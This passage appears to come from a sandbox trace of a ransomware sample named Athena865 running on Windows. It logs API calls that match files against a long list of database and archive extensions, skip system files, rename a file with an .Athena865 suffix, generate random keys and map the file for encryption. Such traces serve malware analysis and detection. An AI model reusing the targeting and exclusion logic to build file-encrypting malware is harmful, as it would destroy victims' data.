(lpString1="htm", lpString2="edb") returned 1 [0092.259] lstrlenW (lpString="epim") returned 4 [0092.259] lstrcmpiW (lpString1=".htm", lpString2="epim") returned -1 [0092.259] lstrlenW (lpString="fcd") returned 3 [0092.259] lstrcmpiW (lpString1="htm", lpString2="fcd") returned 1 [0092.259] lstrlenW (lpString="fdb") returned 3 [0092.259] lstrcmpiW (lpString1="htm", lpString2="fdb") returned 1 [0092.259] lstrlenW (lpString="fic") returned 3 [0092.259] lstrcmpiW (lpString1="htm", lpString2="fic") returned 1 [0092.259] lstrlenW (lpString="flexolibrary") returned 12 [0092.259] lstrlenW (lpString="fm5") returned 3 [0092.260] lstrcmpiW (lpString1="htm", lpString2="fm5") returned 1 [0092.260] lstrlenW (lpString="fmp") returned 3 [0092.260] lstrcmpiW (lpString1="htm", lpString2="fmp") returned 1 [0092.260] lstrlenW (lpString="fmp12") returned 5 [0092.260] lstrcmpiW (lpString1="u.htm", lpString2="fmp12") returned 1 [0092.260] lstrlenW (lpString="fmpsl") returned 5 [0092.260] lstrcmpiW (lpString1="u.htm", lpString2="fmpsl") returned 1 [0092.260] lstrlenW (lpString="fol") returned 3 [0092.260] lstrcmpiW (lpString1="htm", lpString2="fol") returned 1 [0092.260] lstrlenW (lpString="fp3") returned 3 [0092.260] lstrcmpiW (lpString1="htm", lpString2="fp3") returned 1 [0092.260] lstrlenW (lpString="fp4") returned 3 [0092.260] lstrcmpiW (lpString1="htm", lpString2="fp4") returned 1 [0092.260] lstrlenW (lpString="fp5") returned 3 [0092.260] lstrcmpiW (lpString1="htm", lpString2="fp5") returned 1 [0092.260] lstrlenW (lpString="fp7") returned 3 [0092.260] lstrcmpiW (lpString1="htm", lpString2="fp7") returned 1 [0092.260] lstrlenW (lpString="fpt") returned 3 [0092.260] lstrcmpiW (lpString1="htm", lpString2="fpt") returned 1 [0092.260] lstrlenW (lpString="frm") returned 3 [0092.260] lstrcmpiW (lpString1="htm", lpString2="frm") returned 1 [0092.260] lstrlenW (lpString="gdb") returned 3 [0092.260] lstrcmpiW (lpString1="htm", lpString2="gdb") returned 1 [0092.260] lstrlenW (lpString="gdb") returned 3 [0092.260] lstrcmpiW (lpString1="htm", lpString2="gdb") returned 1 [0092.260] lstrlenW (lpString="grdb") returned 4 [0092.261] lstrcmpiW (lpString1=".htm", lpString2="grdb") returned -1 [0092.261] lstrlenW (lpString="gwi") returned 3 [0092.261] lstrcmpiW (lpString1="htm", lpString2="gwi") returned 1 [0092.261] lstrlenW (lpString="hdb") returned 3 [0092.261] lstrcmpiW (lpString1="htm", lpString2="hdb") returned 1 [0092.261] lstrlenW (lpString="his") returned 3 [0092.261] lstrcmpiW (lpString1="htm", lpString2="his") returned 1 [0092.261] lstrlenW (lpString="ib") returned 2 [0092.261] lstrcmpiW (lpString1="tm", lpString2="ib") returned 1 [0092.261] lstrlenW (lpString="idb") returned 3 [0092.261] lstrcmpiW (lpString1="htm", lpString2="idb") returned -1 [0092.261] lstrlenW (lpString="ihx") returned 3 [0092.261] lstrcmpiW (lpString1="htm", lpString2="ihx") returned -1 [0092.261] lstrlenW (lpString="itdb") returned 4 [0092.261] lstrcmpiW (lpString1=".htm", lpString2="itdb") returned -1 [0092.261] lstrlenW (lpString="itw") returned 3 [0092.261] lstrcmpiW (lpString1="htm", lpString2="itw") returned -1 [0092.261] lstrlenW (lpString="jet") returned 3 [0092.261] lstrcmpiW (lpString1="htm", lpString2="jet") returned -1 [0092.261] lstrlenW (lpString="jtx") returned 3 [0092.261] lstrcmpiW (lpString1="htm", lpString2="jtx") returned -1 [0092.261] lstrlenW (lpString="kdb") returned 3 [0092.261] lstrcmpiW (lpString1="htm", lpString2="kdb") returned -1 [0092.261] lstrlenW (lpString="kexi") returned 4 [0092.261] lstrcmpiW (lpString1=".htm", lpString2="kexi") returned -1 [0092.261] lstrlenW (lpString="kexic") returned 5 [0092.261] lstrcmpiW (lpString1="u.htm", lpString2="kexic") returned 1 [0092.261] lstrlenW (lpString="kexis") returned 5 [0092.261] lstrcmpiW (lpString1="u.htm", lpString2="kexis") returned 1 [0092.261] lstrlenW (lpString="lgc") returned 3 [0092.262] lstrcmpiW (lpString1="htm", lpString2="lgc") returned -1 [0092.262] lstrlenW (lpString="lwx") returned 3 [0092.262] lstrcmpiW (lpString1="htm", lpString2="lwx") returned -1 [0092.262] lstrlenW (lpString="maf") returned 3 [0092.262] lstrcmpiW (lpString1="htm", lpString2="maf") returned -1 [0092.262] lstrlenW (lpString="maq") returned 3 [0092.262] lstrcmpiW (lpString1="htm", lpString2="maq") returned -1 [0092.262] lstrlenW (lpString="mar") returned 3 [0092.262] lstrcmpiW (lpString1="htm", lpString2="mar") returned -1 [0092.262] lstrlenW (lpString="marshal") returned 7 [0092.262] lstrcmpiW (lpString1="oku.htm", lpString2="marshal") returned 1 [0092.262] lstrlenW (lpString="mas") returned 3 [0092.262] lstrcmpiW (lpString1="htm", lpString2="mas") returned -1 [0092.262] lstrlenW (lpString="mav") returned 3 [0092.262] lstrcmpiW (lpString1="htm", lpString2="mav") returned -1 [0092.262] lstrlenW (lpString="maw") returned 3 [0092.262] lstrcmpiW (lpString1="htm", lpString2="maw") returned -1 [0092.262] lstrlenW (lpString="mdbhtml") returned 7 [0092.262] lstrcmpiW (lpString1="oku.htm", lpString2="mdbhtml") returned 1 [0092.262] lstrlenW (lpString="mdn") returned 3 [0092.262] lstrcmpiW (lpString1="htm", lpString2="mdn") returned -1 [0092.262] lstrlenW (lpString="mdt") returned 3 [0092.262] lstrcmpiW (lpString1="htm", lpString2="mdt") returned -1 [0092.262] lstrlenW (lpString="mfd") returned 3 [0092.263] lstrcmpiW (lpString1="htm", lpString2="mfd") returned -1 [0092.263] lstrlenW (lpString="mpd") returned 3 [0092.263] lstrcmpiW (lpString1="htm", lpString2="mpd") returned -1 [0092.263] lstrlenW (lpString="mrg") returned 3 [0092.263] lstrcmpiW (lpString1="htm", lpString2="mrg") returned -1 [0092.263] lstrlenW (lpString="mud") returned 3 [0092.263] lstrcmpiW (lpString1="htm", lpString2="mud") returned -1 [0092.263] lstrlenW (lpString="mwb") returned 3 [0092.263] lstrcmpiW (lpString1="htm", lpString2="mwb") returned -1 [0092.263] lstrlenW (lpString="myd") returned 3 [0092.263] lstrcmpiW (lpString1="htm", lpString2="myd") returned -1 [0092.263] lstrlenW (lpString="ndf") returned 3 [0092.263] lstrcmpiW (lpString1="htm", lpString2="ndf") returned -1 [0092.263] lstrlenW (lpString="nnt") returned 3 [0092.263] lstrcmpiW (lpString1="htm", lpString2="nnt") returned -1 [0092.263] lstrlenW (lpString="nrmlib") returned 6 [0092.263] lstrcmpiW (lpString1="ku.htm", lpString2="nrmlib") returned -1 [0092.263] lstrlenW (lpString="ns2") returned 3 [0092.263] lstrcmpiW (lpString1="htm", lpString2="ns2") returned -1 [0092.263] lstrlenW (lpString="ns3") returned 3 [0092.263] lstrcmpiW (lpString1="htm", lpString2="ns3") returned -1 [0092.263] lstrlenW (lpString="ns4") returned 3 [0092.263] lstrcmpiW (lpString1="htm", lpString2="ns4") returned -1 [0092.263] lstrlenW (lpString="nsf") returned 3 [0092.263] lstrcmpiW (lpString1="htm", lpString2="nsf") returned -1 [0092.263] lstrlenW (lpString="nv") returned 2 [0092.264] lstrcmpiW (lpString1="tm", lpString2="nv") returned 1 [0092.264] lstrlenW (lpString="nv2") returned 3 [0092.264] lstrcmpiW (lpString1="htm", lpString2="nv2") returned -1 [0092.264] lstrlenW (lpString="nwdb") returned 4 [0092.264] lstrcmpiW (lpString1=".htm", lpString2="nwdb") returned -1 [0092.264] lstrlenW (lpString="nyf") returned 3 [0092.264] lstrcmpiW (lpString1="htm", lpString2="nyf") returned -1 [0092.264] lstrlenW (lpString="odb") returned 3 [0092.264] lstrcmpiW (lpString1="htm", lpString2="odb") returned -1 [0092.264] lstrlenW (lpString="odb") returned 3 [0092.264] lstrcmpiW (lpString1="htm", lpString2="odb") returned -1 [0092.264] lstrlenW (lpString="oqy") returned 3 [0092.264] lstrcmpiW (lpString1="htm", lpString2="oqy") returned -1 [0092.264] lstrlenW (lpString="ora") returned 3 [0092.264] lstrcmpiW (lpString1="htm", lpString2="ora") returned -1 [0092.264] lstrlenW (lpString="orx") returned 3 [0092.264] lstrcmpiW (lpString1="htm", lpString2="orx") returned -1 [0092.264] lstrlenW (lpString="owc") returned 3 [0092.264] lstrcmpiW (lpString1="htm", lpString2="owc") returned -1 [0092.264] lstrlenW (lpString="p96") returned 3 [0092.264] lstrcmpiW (lpString1="htm", lpString2="p96") returned -1 [0092.264] lstrlenW (lpString="p97") returned 3 [0092.264] lstrcmpiW (lpString1="htm", lpString2="p97") returned -1 [0092.264] lstrlenW (lpString="pan") returned 3 [0092.265] lstrcmpiW (lpString1="htm", lpString2="pan") returned -1 [0092.265] lstrlenW (lpString="pdb") returned 3 [0092.265] lstrcmpiW (lpString1="htm", lpString2="pdb") returned -1 [0092.265] lstrlenW (lpString="pdm") returned 3 [0092.265] lstrcmpiW (lpString1="htm", lpString2="pdm") returned -1 [0092.265] lstrlenW (lpString="pnz") returned 3 [0092.265] lstrcmpiW (lpString1="htm", lpString2="pnz") returned -1 [0092.265] lstrlenW (lpString="qry") returned 3 [0092.265] lstrcmpiW (lpString1="htm", lpString2="qry") returned -1 [0092.265] lstrlenW (lpString="qvd") returned 3 [0092.265] lstrcmpiW (lpString1="htm", lpString2="qvd") returned -1 [0092.265] lstrlenW (lpString="rbf") returned 3 [0092.265] lstrcmpiW (lpString1="htm", lpString2="rbf") returned -1 [0092.265] lstrlenW (lpString="rctd") returned 4 [0092.265] lstrcmpiW (lpString1=".htm", lpString2="rctd") returned -1 [0092.265] lstrlenW (lpString="rod") returned 3 [0092.265] lstrcmpiW (lpString1="htm", lpString2="rod") returned -1 [0092.265] lstrlenW (lpString="rodx") returned 4 [0092.265] lstrcmpiW (lpString1=".htm", lpString2="rodx") returned -1 [0092.265] lstrlenW (lpString="rpd") returned 3 [0092.265] lstrcmpiW (lpString1="htm", lpString2="rpd") returned -1 [0092.265] lstrlenW (lpString="rsd") returned 3 [0092.265] lstrcmpiW (lpString1="htm", lpString2="rsd") returned -1 [0092.265] lstrlenW (lpString="sas7bdat") returned 8 [0092.265] lstrcmpiW (lpString1="ioku.htm", lpString2="sas7bdat") returned -1 [0092.265] lstrlenW (lpString="sbf") returned 3 [0092.266] lstrcmpiW (lpString1="htm", lpString2="sbf") returned -1 [0092.266] lstrlenW (lpString="scx") returned 3 [0092.266] lstrcmpiW (lpString1="htm", lpString2="scx") returned -1 [0092.266] lstrlenW (lpString="sdb") returned 3 [0092.266] lstrcmpiW (lpString1="htm", lpString2="sdb") returned -1 [0092.266] lstrlenW (lpString="sdc") returned 3 [0092.266] lstrcmpiW (lpString1="htm", lpString2="sdc") returned -1 [0092.266] lstrlenW (lpString="sdf") returned 3 [0092.266] lstrcmpiW (lpString1="htm", lpString2="sdf") returned -1 [0092.266] lstrlenW (lpString="sis") returned 3 [0092.266] lstrcmpiW (lpString1="htm", lpString2="sis") returned -1 [0092.266] lstrlenW (lpString="spq") returned 3 [0092.266] lstrcmpiW (lpString1="htm", lpString2="spq") returned -1 [0092.266] lstrlenW (lpString="te") returned 2 [0092.266] lstrcmpiW (lpString1="tm", lpString2="te") returned 1 [0092.266] lstrlenW (lpString="teacher") returned 7 [0092.266] lstrcmpiW (lpString1="oku.htm", lpString2="teacher") returned -1 [0092.266] lstrlenW (lpString="tmd") returned 3 [0092.266] lstrcmpiW (lpString1="htm", lpString2="tmd") returned -1 [0092.266] lstrlenW (lpString="tps") returned 3 [0092.266] lstrcmpiW (lpString1="htm", lpString2="tps") returned -1 [0092.266] lstrlenW (lpString="trc") returned 3 [0092.266] lstrcmpiW (lpString1="htm", lpString2="trc") returned -1 [0092.266] lstrlenW (lpString="trc") returned 3 [0092.266] lstrcmpiW (lpString1="htm", lpString2="trc") returned -1 [0092.266] lstrlenW (lpString="trm") returned 3 [0092.266] lstrcmpiW (lpString1="htm", lpString2="trm") returned -1 [0092.266] lstrlenW (lpString="udb") returned 3 [0092.267] lstrcmpiW (lpString1="htm", lpString2="udb") returned -1 [0092.267] lstrlenW (lpString="udl") returned 3 [0092.267] lstrcmpiW (lpString1="htm", lpString2="udl") returned -1 [0092.267] lstrlenW (lpString="usr") returned 3 [0092.267] lstrcmpiW (lpString1="htm", lpString2="usr") returned -1 [0092.267] lstrlenW (lpString="v12") returned 3 [0092.267] lstrcmpiW (lpString1="htm", lpString2="v12") returned -1 [0092.267] lstrlenW (lpString="vis") returned 3 [0092.267] lstrcmpiW (lpString1="htm", lpString2="vis") returned -1 [0092.267] lstrlenW (lpString="vpd") returned 3 [0092.267] lstrcmpiW (lpString1="htm", lpString2="vpd") returned -1 [0092.267] lstrlenW (lpString="vvv") returned 3 [0092.267] lstrcmpiW (lpString1="htm", lpString2="vvv") returned -1 [0092.267] lstrlenW (lpString="wdb") returned 3 [0092.267] lstrcmpiW (lpString1="htm", lpString2="wdb") returned -1 [0092.267] lstrlenW (lpString="wmdb") returned 4 [0092.267] lstrcmpiW (lpString1=".htm", lpString2="wmdb") returned -1 [0092.267] lstrlenW (lpString="wrk") returned 3 [0092.267] lstrcmpiW (lpString1="htm", lpString2="wrk") returned -1 [0092.267] lstrlenW (lpString="xdb") returned 3 [0092.267] lstrcmpiW (lpString1="htm", lpString2="xdb") returned -1 [0092.267] lstrlenW (lpString="xld") returned 3 [0092.267] lstrcmpiW (lpString1="htm", lpString2="xld") returned -1 [0092.267] lstrlenW (lpString="xmlff") returned 5 [0092.267] lstrcmpiW (lpString1="u.htm", lpString2="xmlff") returned -1 [0092.267] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm.Athena865") returned 62 [0092.267] MoveFileExW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\benioku.htm"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm.Athena865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\benioku.htm.athena865"), dwFlags=0x1) returned 1 [0092.270] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Benioku.htm.Athena865" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\benioku.htm.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0092.270] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=17000) returned 1 [0092.270] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0092.271] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x52d1b0 [0092.271] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x518ef8 [0092.271] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x518e70) returned 1 [0092.271] CryptGenRandom (in: hProv=0x518e70, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0092.271] CryptReleaseContext (hProv=0x518e70, dwFlags=0x0) returned 1 [0092.272] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x4570, lpName=0x0) returned 0x17c [0092.275] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x4570) returned 0x100000 [0092.277] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x518e70) returned 1 [0092.278] CryptGenRandom (in: hProv=0x518e70, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0092.278] CryptReleaseContext (hProv=0x518e70, dwFlags=0x0) returned 1 [0092.278] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x539248 [0092.278] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x539248 | out: hHeap=0x4f0000) returned 1 [0092.278] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x52ba90 [0092.278] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0092.278] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.278] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0092.278] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x52ba90 [0092.278] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0092.278] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ba90 | out: hHeap=0x4f0000) returned 1 [0092.278] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0092.278] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0092.279] CloseHandle (hObject=0x17c) returned 1 [0092.279] CloseHandle (hObject=0x154) returned 1 [0092.279] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d1b0 | out: hHeap=0x4f0000) returned 1 [0092.279] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x518ef8 | out: hHeap=0x4f0000) returned 1 [0092.279] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0092.279] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9b058100, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x807ef720, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x9b058100, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x42ba, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Berime.htm", cAlternateFileName="")) returned 1 [0092.279] lstrcmpiW (lpString1="Berime.htm", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0092.279] lstrcmpiW (lpString1="Berime.htm", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0092.279] lstrcmpiW (lpString1="Berime.htm", lpString2=".") returned 1 [0092.279] lstrcmpiW (lpString1="Berime.htm", lpString2="..") returned 1 [0092.279] lstrcmpiW (lpString1="Berime.htm", lpString2="windows") returned -1 [0092.279] lstrcmpiW (lpString1="Berime.htm", lpString2="bootmgr") returned -1 [0092.279] lstrcmpiW (lpString1="Berime.htm", lpString2="temp") returned -1 [0092.279] lstrcmpiW (lpString1="Berime.htm", lpString2="pagefile.sys") returned -1 [0092.279] lstrcmpiW (lpString1="Berime.htm", lpString2="boot") returned -1 [0092.279] lstrcmpiW (lpString1="Berime.htm", lpString2="ids.txt") returned -1 [0092.279] lstrcmpiW (lpString1="Berime.htm", lpString2="ntuser.dat") returned -1 [0092.279] lstrcmpiW (lpString1="Berime.htm", lpString2="perflogs") returned -1 [0092.279] lstrcmpiW (lpString1="Berime.htm", lpString2="MSBuild") returned -1 [0092.279] lstrlenW (lpString="Berime.htm") returned 10 [0092.279] lstrcpyW (in: lpString1=0x241e89a, lpString2="Berime.htm" | out: lpString1="Berime.htm") returned="Berime.htm" [0092.279] lstrlenW (lpString="Berime.htm") returned 10 [0092.280] lstrlenW (lpString="Athena865") returned 9 [0092.280] lstrcmpiW (lpString1="erime.htm", lpString2="Athena865") returned 1 [0092.280] lstrlenW (lpString=".dll") returned 4 [0092.280] lstrcmpiW (lpString1="Berime.htm", lpString2=".dll") returned 1 [0092.280] lstrlenW (lpString=".lnk") returned 4 [0092.280] lstrcmpiW (lpString1="Berime.htm", lpString2=".lnk") returned 1 [0092.280] lstrlenW (lpString=".ini") returned 4 [0092.280] lstrcmpiW (lpString1="Berime.htm", lpString2=".ini") returned 1 [0092.280] lstrlenW (lpString=".sys") returned 4 [0092.280] lstrcmpiW (lpString1="Berime.htm", lpString2=".sys") returned 1 [0092.280] lstrlenW (lpString="Berime.htm") returned 10 [0092.280] lstrlenW (lpString="bak") returned 3 [0092.280] lstrcmpiW (lpString1="htm", lpString2="bak") returned 1 [0092.280] lstrlenW (lpString="ba_") returned 3 [0092.280] lstrcmpiW (lpString1="htm", lpString2="ba_") returned 1 [0092.280] lstrlenW (lpString="dbb") returned 3 [0092.280] lstrcmpiW (lpString1="htm", lpString2="dbb") returned 1 [0092.280] lstrlenW (lpString="vmdk") returned 4 [0092.280] lstrcmpiW (lpString1=".htm", lpString2="vmdk") returned -1 [0092.280] lstrlenW (lpString="rar") returned 3 [0092.280] lstrcmpiW (lpString1="htm", lpString2="rar") returned -1 [0092.280] lstrlenW (lpString="zip") returned 3 [0092.280] lstrcmpiW (lpString1="htm", lpString2="zip") returned -1 [0092.280] lstrlenW (lpString="tgz") returned 3 [0092.280] lstrcmpiW (lpString1="htm", lpString2="tgz") returned -1 [0092.280] lstrlenW (lpString="vbox") returned 4 [0092.280] lstrcmpiW (lpString1=".htm", lpString2="vbox") returned -1 [0092.280] lstrlenW (lpString="vdi") returned 3 [0092.280] lstrcmpiW (lpString1="htm", lpString2="vdi") returned -1 [0092.280] lstrlenW (lpString="vhd") returned 3 [0092.280] lstrcmpiW (lpString1="htm", lpString2="vhd") returned -1 [0092.281] lstrlenW (lpString="vhdx") returned 4 [0092.281] lstrcmpiW (lpString1=".htm", lpString2="vhdx") returned -1 [0092.281] lstrlenW (lpString="avhd") returned 4 [0092.281] lstrcmpiW (lpString1=".htm", lpString2="avhd") returned -1 [0092.281] lstrlenW (lpString="db") returned 2 [0092.281] lstrcmpiW (lpString1="tm", lpString2="db") returned 1 [0092.281] lstrlenW (lpString="db2") returned 3 [0092.281] lstrcmpiW (lpString1="htm", lpString2="db2") returned 1 [0092.281] lstrlenW (lpString="db3") returned 3 [0092.281] lstrcmpiW (lpString1="htm", lpString2="db3") returned 1 [0092.281] lstrlenW (lpString="dbf") returned 3 [0092.281] lstrcmpiW (lpString1="htm", lpString2="dbf") returned 1 [0092.281] lstrlenW (lpString="mdf") returned 3 [0092.281] lstrcmpiW (lpString1="htm", lpString2="mdf") returned -1 [0092.281] lstrlenW (lpString="mdb") returned 3 [0092.281] lstrcmpiW (lpString1="htm", lpString2="mdb") returned -1 [0092.281] lstrlenW (lpString="sql") returned 3 [0092.281] lstrcmpiW (lpString1="htm", lpString2="sql") returned -1 [0092.281] lstrlenW (lpString="sqlite") returned 6 [0092.281] lstrcmpiW (lpString1="me.htm", lpString2="sqlite") returned -1 [0092.281] lstrlenW (lpString="sqlite3") returned 7 [0092.281] lstrcmpiW (lpString1="ime.htm", lpString2="sqlite3") returned -1 [0092.281] lstrlenW (lpString="sqlitedb") returned 8 [0092.281] lstrcmpiW (lpString1="rime.htm", lpString2="sqlitedb") returned -1 [0092.281] lstrlenW (lpString="xml") returned 3 [0092.281] lstrcmpiW (lpString1="htm", lpString2="xml") returned -1 [0092.281] lstrlenW (lpString="$er") returned 3 [0092.281] lstrcmpiW (lpString1="htm", lpString2="$er") returned 1 [0092.281] lstrlenW (lpString="4dd") returned 3 [0092.281] lstrcmpiW (lpString1="htm", lpString2="4dd") returned 1 [0092.281] lstrlenW (lpString="4dl") returned 3 [0092.282] lstrcmpiW (lpString1="htm", lpString2="4dl") returned 1 [0092.282] lstrlenW (lpString="^^^") returned 3 [0092.282] lstrcmpiW (lpString1="htm", lpString2="^^^") returned 1 [0092.282] lstrlenW (lpString="abs") returned 3 [0092.282] lstrcmpiW (lpString1="htm", lpString2="abs") returned 1 [0092.282] lstrlenW (lpString="abx") returned 3 [0092.282] lstrcmpiW (lpString1="htm", lpString2="abx") returned 1 [0092.282] lstrlenW (lpString="accdb") returned 5 [0092.282] lstrcmpiW (lpString1="e.htm", lpString2="accdb") returned 1 [0092.282] lstrlenW (lpString="accdc") returned 5 [0092.282] lstrcmpiW (lpString1="e.htm", lpString2="accdc") returned 1 [0092.282] lstrlenW (lpString="accde") returned 5 [0092.282] lstrcmpiW (lpString1="e.htm", lpString2="accde") returned 1 [0092.282] lstrlenW (lpString="accdr") returned 5 [0092.282] lstrcmpiW (lpString1="e.htm", lpString2="accdr") returned 1 [0092.282] lstrlenW (lpString="accdt") returned 5 [0092.282] lstrcmpiW (lpString1="e.htm", lpString2="accdt") returned 1 [0092.282] lstrlenW (lpString="accdw") returned 5 [0092.282] lstrcmpiW (lpString1="e.htm", lpString2="accdw") returned 1 [0092.282] lstrlenW (lpString="accft") returned 5 [0092.282] lstrcmpiW (lpString1="e.htm", lpString2="accft") returned 1 [0092.282] lstrlenW (lpString="adb") returned 3 [0092.282] lstrcmpiW (lpString1="htm", lpString2="adb") returned 1 [0092.282] lstrlenW (lpString="adb") returned 3 [0092.282] lstrcmpiW (lpString1="htm", lpString2="adb") returned 1 [0092.282] lstrlenW (lpString="ade") returned 3 [0092.282] lstrcmpiW (lpString1="htm", lpString2="ade") returned 1 [0092.282] lstrlenW (lpString="adf") returned 3 [0092.282] lstrcmpiW (lpString1="htm", lpString2="adf") returned 1 [0092.282] lstrlenW (lpString="adn") returned 3 [0092.283] lstrcmpiW (lpString1="htm", lpString2="adn") returned 1 [0092.283] lstrlenW (lpString="adp") returned 3 [0092.283] lstrcmpiW (lpString1="htm", lpString2="adp") returned 1 [0092.283] lstrlenW (lpString="alf") returned 3 [0092.283] lstrcmpiW (lpString1="htm", lpString2="alf") returned 1 [0092.283] lstrlenW (lpString="ask") returned 3 [0092.283] lstrcmpiW (lpString1="htm", lpString2="ask") returned 1 [0092.283] lstrlenW (lpString="btr") returned 3 [0092.283] lstrcmpiW (lpString1="htm", lpString2="btr") returned 1 [0092.283] lstrlenW (lpString="cat") returned 3 [0092.283] lstrcmpiW (lpString1="htm", lpString2="cat") returned 1 [0092.283] lstrlenW (lpString="cdb") returned 3 [0092.283] lstrcmpiW (lpString1="htm", lpString2="cdb") returned 1 [0092.283] lstrlenW (lpString="ckp") returned 3 [0092.283] lstrcmpiW (lpString1="htm", lpString2="ckp") returned 1 [0092.283] lstrlenW (lpString="cma") returned 3 [0092.283] lstrcmpiW (lpString1="htm", lpString2="cma") returned 1 [0092.283] lstrlenW (lpString="cpd") returned 3 [0092.283] lstrcmpiW (lpString1="htm", lpString2="cpd") returned 1 [0092.283] lstrlenW (lpString="dacpac") returned 6 [0092.283] lstrcmpiW (lpString1="me.htm", lpString2="dacpac") returned 1 [0092.283] lstrlenW (lpString="dad") returned 3 [0092.283] lstrcmpiW (lpString1="htm", lpString2="dad") returned 1 [0092.283] lstrlenW (lpString="dadiagrams") returned 10 [0092.283] lstrlenW (lpString="daschema") returned 8 [0092.283] lstrcmpiW (lpString1="rime.htm", lpString2="daschema") returned 1 [0092.283] lstrlenW (lpString="db-journal") returned 10 [0092.283] lstrlenW (lpString="db-shm") returned 6 [0092.283] lstrcmpiW (lpString1="me.htm", lpString2="db-shm") returned 1 [0092.283] lstrlenW (lpString="db-wal") returned 6 [0092.284] lstrcmpiW (lpString1="me.htm", lpString2="db-wal") returned 1 [0092.284] lstrlenW (lpString="dbc") returned 3 [0092.284] lstrcmpiW (lpString1="htm", lpString2="dbc") returned 1 [0092.284] lstrlenW (lpString="dbs") returned 3 [0092.284] lstrcmpiW (lpString1="htm", lpString2="dbs") returned 1 [0092.284] lstrlenW (lpString="dbt") returned 3 [0092.284] lstrcmpiW (lpString1="htm", lpString2="dbt") returned 1 [0092.284] lstrlenW (lpString="dbv") returned 3 [0092.284] lstrcmpiW (lpString1="htm", lpString2="dbv") returned 1 [0092.284] lstrlenW (lpString="dbx") returned 3 [0092.284] lstrcmpiW (lpString1="htm", lpString2="dbx") returned 1 [0092.284] lstrlenW (lpString="dcb") returned 3 [0092.284] lstrcmpiW (lpString1="htm", lpString2="dcb") returned 1 [0092.284] lstrlenW (lpString="dct") returned 3 [0092.284] lstrcmpiW (lpString1="htm", lpString2="dct") returned 1 [0092.284] lstrlenW (lpString="dcx") returned 3 [0092.284] lstrcmpiW (lpString1="htm", lpString2="dcx") returned 1 [0092.284] lstrlenW (lpString="ddl") returned 3 [0092.284] lstrcmpiW (lpString1="htm", lpString2="ddl") returned 1 [0092.284] lstrlenW (lpString="dlis") returned 4 [0092.284] lstrcmpiW (lpString1=".htm", lpString2="dlis") returned -1 [0092.284] lstrlenW (lpString="dp1") returned 3 [0092.284] lstrcmpiW (lpString1="htm", lpString2="dp1") returned 1 [0092.284] lstrlenW (lpString="dqy") returned 3 [0092.284] lstrcmpiW (lpString1="htm", lpString2="dqy") returned 1 [0092.284] lstrlenW (lpString="dsk") returned 3 [0092.284] lstrcmpiW (lpString1="htm", lpString2="dsk") returned 1 [0092.284] lstrlenW (lpString="dsn") returned 3 [0092.284] lstrcmpiW (lpString1="htm", lpString2="dsn") returned 1 [0092.284] lstrlenW (lpString="dtsx") returned 4 [0092.284] lstrcmpiW (lpString1=".htm", lpString2="dtsx") returned 